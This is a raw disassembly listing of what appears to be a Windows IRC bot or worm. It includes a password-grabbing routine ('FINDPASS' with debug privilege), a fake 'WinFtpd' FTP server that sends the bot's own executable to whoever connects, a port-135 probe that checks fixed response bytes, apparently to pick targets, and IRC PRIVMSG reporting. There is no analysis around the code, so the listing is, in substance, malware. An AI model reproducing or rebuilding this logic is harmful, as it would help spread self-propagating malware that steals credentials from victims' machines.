loc_403941:				; CODE XREF: sub_4037CA+4Ej
		push	offset aFindpassFailed ; "[FINDPASS]: Failed to	enable Debug Priv"...


loc_403946:				; CODE XREF: sub_4037CA+3Aj
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_403954:				; CODE XREF: sub_4037CA+175j
		xor	esi, esi
		cmp	[ebp+74h+var_10], esi
		jnz	short loc_403975
		push	esi
		push	[ebp+74h+var_14]
		lea	eax, [ebp+74h+var_29C]
		push	eax
		lea	eax, [ebp+74h+var_98]
		push	eax
		push	[ebp+74h+var_9C]
		call	sub_4056FB
		add	esp, 14h


loc_403975:				; CODE XREF: sub_4037CA+18Fj
		lea	eax, [ebp+74h+var_29C]
		push	eax
		call	sub_401EFF
		push	[ebp+74h+var_18]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_4037CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403993	proc near		; CODE XREF: sub_4039C6+11Cp
					; sub_4039C6+145p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		sub	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	eax, eax
		test	edx, edx
		push	edi
		jle	short loc_4039BB


loc_4039A5:				; CODE XREF: sub_403993+26j
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		add	esi, eax
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_4039C2
		inc	eax
		cmp	eax, edx
		jl	short loc_4039A5


loc_4039BB:				; CODE XREF: sub_403993+10j
		xor	al, al


loc_4039BD:				; CODE XREF: sub_403993+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4039C2:				; CODE XREF: sub_403993+21j
		mov	al, 1
		jmp	short loc_4039BD
sub_403993	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039C6	proc near		; CODE XREF: .text:004136F9p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_414800
		mov	eax, [ebp+arg_4]
		dec	eax
		jz	short loc_403A03
		dec	eax
		jz	short loc_4039E1
		dec	eax
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_4039C6+14j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43585C	; inet_addr
		push	eax
		call	sub_4018CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		leave
		retn
; ---------------------------------------------------------------------------


loc_403A03:				; CODE XREF: sub_4039C6+11j
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		call	dword_4357E8	; socket
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		xor	eax, eax
		cmp	esi, ebx
		mov	[ebp+arg_4], esi
		jz	loc_403B28
		push	edi
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	87h
		mov	[ebp+var_10], 2
		call	dword_435934	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_407C3B
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		cmp	eax, ebx
		jz	short loc_403A72
		xor	edi, edi
		push	edi
		push	48h
		push	offset dword_42B3E0
		push	esi
		call	dword_43587C	; send
		cmp	eax, ebx
		jnz	short loc_403A79


loc_403A72:				; CODE XREF: sub_4039C6+95j
					; sub_4039C6+CCj ...
		xor	esi, esi
		jmp	loc_403B1C
; ---------------------------------------------------------------------------


loc_403A79:				; CODE XREF: sub_4039C6+AAj
		push	edi
		mov	esi, 2000h
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_43575C	; recv
		cmp	eax, ebx
		jz	short loc_403A72
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_403A72
		push	edi
		push	18h
		push	offset dword_42B42C
		push	[ebp+arg_4]
		call	dword_43587C	; send
		cmp	eax, ebx
		jz	short loc_403A72
		push	edi
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_43575C	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_403A72
		cmp	[ebp+var_200E],	2
		jnz	short loc_403A72
		push	10h
		push	offset loc_42B448
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403993
		add	esp, 10h
		test	al, al
		jz	short loc_403AFC
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_403B1A
; ---------------------------------------------------------------------------


loc_403AFC:				; CODE XREF: sub_4039C6+126j
		push	10h
		push	offset dword_42B45C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403993
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3


loc_403B1A:				; CODE XREF: sub_4039C6+134j
		mov	esi, eax


loc_403B1C:				; CODE XREF: sub_4039C6+AEj
		push	[ebp+arg_4]
		call	dword_4358F4	; closesocket
		mov	eax, esi
		pop	edi


loc_403B28:				; CODE XREF: sub_4039C6+57j
		pop	esi
		pop	ebx
		leave
		retn
sub_4039C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B2C	proc near		; CODE XREF: sub_403C3B+4A2p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_420200
		push	0
		push	1
		push	2
		call	ds:dword_420204
		push	[ebp+arg_0]
		mov	dword_435338, eax
		mov	[ebp+var_10], 2
		call	ds:dword_420208
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_42020C
		mov	[ebp+var_E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_435338
		call	ds:dword_420210
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403BA4
		push	dword_435338
		call	ds:dword_420214
		call	ds:dword_420218
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403BA4:				; CODE XREF: sub_403B2C+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_403B2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BA9	proc near		; CODE XREF: sub_403C3B+4AEp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	ds:dword_420010	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_420978
		push	eax
		call	sub_414DC3
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_403C16
		jmp	short loc_403C38
; ---------------------------------------------------------------------------


loc_403BE2:				; CODE XREF: sub_403BA9+72j
		push	400h
		lea	eax, [ebp+var_504]
		push	1
		push	eax
		call	sub_414B6E
		add	esp, 10h
		push	0
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	dword_435338
		call	ds:dword_4201FC
		push	0Ah
		call	ds:dword_420000	; Sleep


loc_403C16:				; CODE XREF: sub_403BA9+35j
		test	byte ptr [esi+0Ch], 10h
		push	esi
		jz	short loc_403BE2
		call	sub_4149C3
		pop	ecx
		push	dword_435338
		call	ds:dword_420214
		call	ds:dword_420218
		xor	eax, eax
		inc	eax


loc_403C38:				; CODE XREF: sub_403BA9+37j
		pop	esi
		leave
		retn
sub_403BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_403C3B	proc near		; DATA XREF: sub_401141+254o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A6Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		inc	ebx
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_6DC]
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+74h+var_A6C]
		push	eax
		xor	esi, esi
		push	101h
		mov	[ebp+74h+var_18], ebx
		mov	[ebp+74h+var_1C], ebx
		mov	[ebp+74h+var_228], esi
		mov	[ebp+74h+var_438], esi
		call	ds:dword_420200
		push	esi
		call	sub_415420
		push	eax
		call	sub_414794
		mov	eax, [ebp+74h+arg_0]
		mov	eax, [eax+214h]
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	2
		mov	dword_43533C, eax
		call	ds:dword_420204
		mov	ebx, eax
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+74h+var_8], ebx
		call	ds:dword_4201DC
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	8004667Eh
		push	ebx
		call	ds:dword_4201E0
		xor	eax, eax
		mov	ax, word ptr dword_43533C
		mov	[ebp+74h+var_38], 2
		mov	[ebp+74h+var_34], esi
		push	eax
		call	ds:dword_42020C
		mov	[ebp+74h+var_36], ax
		push	10h
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	ebx
		call	ds:dword_4201E4
		test	eax, eax
		jl	loc_4041D5
		push	0Ah
		push	ebx
		call	ds:dword_4201E8
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		mov	[ebp+74h+var_224], ebx
		mov	[ebp+74h+var_4], ebx
		push	eax
		inc	ebx
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		mov	[ebp+74h+var_228], 1
		push	ebx
		rep movsd
		call	ds:dword_4201EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4041D5
		mov	ebx, ds:dword_4201FC


loc_403D5A:				; CODE XREF: sub_403C3B+594j
		xor	esi, esi
		cmp	[ebp+74h+var_4], esi
		mov	[ebp+74h+arg_0], esi
		jl	loc_4041A4


loc_403D68:				; CODE XREF: sub_403C3B+563j
		push	19h
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+74h+var_29C]
		rep stosd
		pop	ecx
		lea	edi, [ebp+74h+var_AC]
		rep stosd
		lea	eax, [ebp+74h+var_438]
		push	eax
		push	esi
		call	sub_41F5A0
		test	eax, eax
		jz	loc_404197
		cmp	esi, [ebp+74h+var_8]
		jnz	short loc_403E02
		push	10h
		pop	edi
		lea	eax, [ebp+74h+var_24]
		push	eax
		lea	eax, [ebp+74h+var_238]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_24], edi
		call	ds:dword_4201F4
		cmp	eax, 0FFFFFFFFh
		jz	loc_404197
		mov	edx, [ebp+74h+var_228]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_403DD4


loc_403DC6:				; CODE XREF: sub_403C3B+197j
		cmp	[ebp+ecx*4+74h+var_224], eax
		jz	short loc_403DD4
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403DC6


loc_403DD4:				; CODE XREF: sub_403C3B+189j
					; sub_403C3B+192j
		cmp	ecx, edx
		jnz	short loc_403DEA
		cmp	edx, 40h
		jnb	short loc_403DEA
		mov	[ebp+ecx*4+74h+var_224], eax
		inc	[ebp+74h+var_228]


loc_403DEA:				; CODE XREF: sub_403C3B+19Bj
					; sub_403C3B+1A0j
		cmp	eax, [ebp+74h+var_4]
		jle	short loc_403DF2
		mov	[ebp+74h+var_4], eax


loc_403DF2:				; CODE XREF: sub_403C3B+1B2j
		push	0
		push	edi
		push	offset a220Winftpd1_2 ;	"220 WinFtpd 1.2\n"
		push	eax
		call	ebx
		jmp	loc_404197
; ---------------------------------------------------------------------------


loc_403E02:				; CODE XREF: sub_403C3B+15Aj
		push	0
		push	64h
		lea	eax, [ebp+74h+var_29C]
		push	eax
		push	esi
		call	ds:dword_4201F8
		test	eax, eax
		jg	short loc_403E60
		mov	ecx, [ebp+74h+var_228]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_403E54


loc_403E24:				; CODE XREF: sub_403C3B+1F5j
		cmp	[ebp+eax*4+74h+var_224], esi
		jz	short loc_403E49
		inc	eax
		cmp	eax, ecx
		jb	short loc_403E24
		jmp	short loc_403E54
; ---------------------------------------------------------------------------


loc_403E34:				; CODE XREF: sub_403C3B+211j
		mov	ecx, [ebp+eax*4+74h+var_220]
		mov	[ebp+eax*4+74h+var_224], ecx
		mov	ecx, [ebp+74h+var_228]
		inc	eax


loc_403E49:				; CODE XREF: sub_403C3B+1F0j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_403E34
		dec	[ebp+74h+var_228]


loc_403E54:				; CODE XREF: sub_403C3B+1E7j
					; sub_403C3B+1F7j
		push	esi
		call	ds:dword_420214
		jmp	loc_404197
; ---------------------------------------------------------------------------


loc_403E60:				; CODE XREF: sub_403C3B+1DBj
		lea	eax, [ebp+74h+var_334]
		push	eax
		lea	eax, [ebp+74h+var_AC]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_4147C3
		add	esp, 10h
		push	5
		pop	edx
		mov	edi, offset aUser_0 ; "USER"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403E9F
		push	eax
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403C3B+255j
		mov	edi, offset aPass ; "PASS"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403EBC
		push	eax
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403EBC:				; CODE XREF: sub_403C3B+272j
		mov	edi, offset aSyst ; "SYST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403ED9
		push	eax
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403ED9:				; CODE XREF: sub_403C3B+28Fj
		mov	edi, offset aRest ; "REST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403EF6
		push	eax
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403EF6:				; CODE XREF: sub_403C3B+2ACj
		push	4
		mov	edi, offset off_4211C0
		lea	esi, [ebp+74h+var_AC]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403F14
		push	eax
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403F14:				; CODE XREF: sub_403C3B+2CAj
		mov	eax, offset aType ; "TYPE"
		mov	ecx, edx
		mov	edi, eax
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	short loc_403F47
		push	2
		mov	edi, offset aA_0 ; "A"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_403F47
		push	edx
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403F47:				; CODE XREF: sub_403C3B+2E9j
					; sub_403C3B+2FDj
		mov	edi, eax
		push	5
		pop	eax
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_403F78
		push	2
		mov	edi, offset aI	; "I"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_403F78
		push	edx
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403F78:				; CODE XREF: sub_403C3B+31Aj
					; sub_403C3B+32Ej
		mov	edi, offset aPasv ; "PASV"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_403FB7
		push	0Ah
		pop	ecx
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+74h+var_124]
		rep movsd
		lea	eax, [ebp+74h+var_124]
		movsw
		lea	edx, [eax+1]


loc_403FA3:				; CODE XREF: sub_403C3B+36Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403FA3
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_124]
		jmp	short loc_403FEB
; ---------------------------------------------------------------------------


loc_403FB7:				; CODE XREF: sub_403C3B+34Bj
		mov	edi, offset aList ; "LIST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		mov	ecx, eax
		jnz	short loc_403FF1
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+74h+var_C4]
		rep movsd
		movsw
		lea	eax, [ebp+74h+var_C4]
		movsb
		lea	edx, [eax+1]


loc_403FDC:				; CODE XREF: sub_403C3B+3A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403FDC
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_C4]


loc_403FEB:				; CODE XREF: sub_403C3B+37Aj
		push	eax
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_403FF1:				; CODE XREF: sub_403C3B+38Cj
		mov	edi, offset aPort ; "PORT"
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	loc_4040B5
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		lea	eax, [ebp+74h+var_F8]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_4147C3
		lea	eax, [ebp+74h+var_F8]
		push	eax
		call	sub_414972
		mov	esi, eax
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		call	sub_414972
		push	0Ch
		mov	edx, eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_F8]
		rep stosd
		push	edx
		push	esi
		stosw
		lea	eax, [ebp+74h+var_F8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4145E5
		push	10h
		lea	eax, [ebp+74h+var_F8]
		push	0
		push	eax
		call	sub_415409
		mov	[ebp+74h+var_10], eax
		add	esp, 44h
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4145E5
		add	esp, 18h
		push	0
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_404182
; ---------------------------------------------------------------------------


loc_4040B5:				; CODE XREF: sub_403C3B+3C2j
		mov	edi, offset aRetr ; "RETR"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	loc_40416A
		push	edx
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+74h+arg_0]
		call	ebx
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_48]
		push	eax
		call	sub_403B2C
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	short loc_40415F
		call	sub_403BA9
		cmp	eax, 1
		jnz	loc_404187
		xor	esi, esi
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+74h+arg_0]
		call	ebx
		lea	eax, [ebp+74h+var_6D8]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_8DC]
		push	offset aFtpFileTransfe ; "[FTP]: File transfer complete	to IP: %s"...
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+74h+var_440], esi
		jnz	short loc_404150
		push	esi
		push	[ebp+74h+var_444]
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		push	[ebp+74h+var_6DC]
		call	sub_4056FB
		add	esp, 14h


loc_404150:				; CODE XREF: sub_403C3B+4F0j
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		call	sub_401EFF
		pop	ecx
		jmp	short loc_404187
; ---------------------------------------------------------------------------


loc_40415F:				; CODE XREF: sub_403C3B+4ACj
		push	0
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_404182
; ---------------------------------------------------------------------------


loc_40416A:				; CODE XREF: sub_403C3B+488j
		mov	ecx, eax
		mov	edi, offset aQuit ; "QUIT"
		lea	esi, [ebp+74h+var_AC]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_404187
		push	eax
		push	0Dh
		push	offset a221Goodbye_ ; "221 Goodbye.\n"


loc_404182:				; CODE XREF: sub_403C3B+25Fj
					; sub_403C3B+27Cj ...
		push	[ebp+74h+arg_0]
		call	ebx


loc_404187:				; CODE XREF: sub_403C3B+4B6j
					; sub_403C3B+522j ...
		mov	esi, [ebp+74h+arg_0]
		push	19h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_29C]
		rep stosd


loc_404197:				; CODE XREF: sub_403C3B+151j
					; sub_403C3B+179j ...
		inc	esi
		cmp	esi, [ebp+74h+var_4]
		mov	[ebp+74h+arg_0], esi
		jle	loc_403D68


loc_4041A4:				; CODE XREF: sub_403C3B+127j
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		push	eax
		mov	eax, [ebp+74h+var_4]
		inc	eax
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		push	eax
		rep movsd
		call	ds:dword_4201EC
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403D5A


loc_4041D5:				; CODE XREF: sub_403C3B+C9j
					; sub_403C3B+113j
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_403C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041E2	proc near		; CODE XREF: sub_404AFC+149p
					; sub_408A18+3927p

var_598		= byte ptr -598h
var_494		= byte ptr -494h
var_38C		= dword	ptr -38Ch
var_378		= byte ptr -378h
var_36C		= dword	ptr -36Ch
var_360		= byte ptr -360h
var_24C		= byte ptr -24Ch
var_4C		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 598h
		push	ebx
		push	esi
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_598]
		rep stosd
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	offset asc_4216D8 ; "\n"
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415459
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		jz	short loc_40423B
		push	edi
		push	[ebp+arg_8]
		mov	esi, 200h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 14h
		jmp	loc_404358
; ---------------------------------------------------------------------------


loc_40423B:				; CODE XREF: sub_4041E2+34j
		cmp	[ebp+arg_C], ebx
		jz	loc_40433D
		mov	eax, edi
		lea	ecx, [eax+1]


loc_404249:				; CODE XREF: sub_4041E2+6Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_404249
		push	edi
		sub	eax, ecx
		and	[eax+edi-1], dl
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_40427A:				; CODE XREF: sub_4041E2+9Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40427A
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_4042B4:				; CODE XREF: sub_4041E2+D7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4042B4
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		mov	eax, edi
		lea	ecx, [eax+1]


loc_4042D4:				; CODE XREF: sub_4041E2+F7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4042D4
		push	3Ch
		push	96h
		push	0E6h
		sub	eax, ecx
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_24C]
		add	esp, 18h
		lea	ecx, [eax+1]


loc_40430B:				; CODE XREF: sub_4041E2+12Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40430B
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		jmp	short loc_404358
; ---------------------------------------------------------------------------


loc_40433D:				; CODE XREF: sub_4041E2+5Cj
		push	edi
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_41483D
		add	esp, 10h


loc_404358:				; CODE XREF: sub_4041E2+54j
					; sub_4041E2+159j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_404361:				; CODE XREF: sub_4041E2+184j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_404361
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	loc_40440B
		lea	edx, [eax+1]


loc_40438A:				; CODE XREF: sub_4041E2+1ADj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40438A
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_40440B
		mov	eax, [ebp+arg_C]
		lea	edx, [eax+1]


loc_40439E:				; CODE XREF: sub_4041E2+1C1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40439E
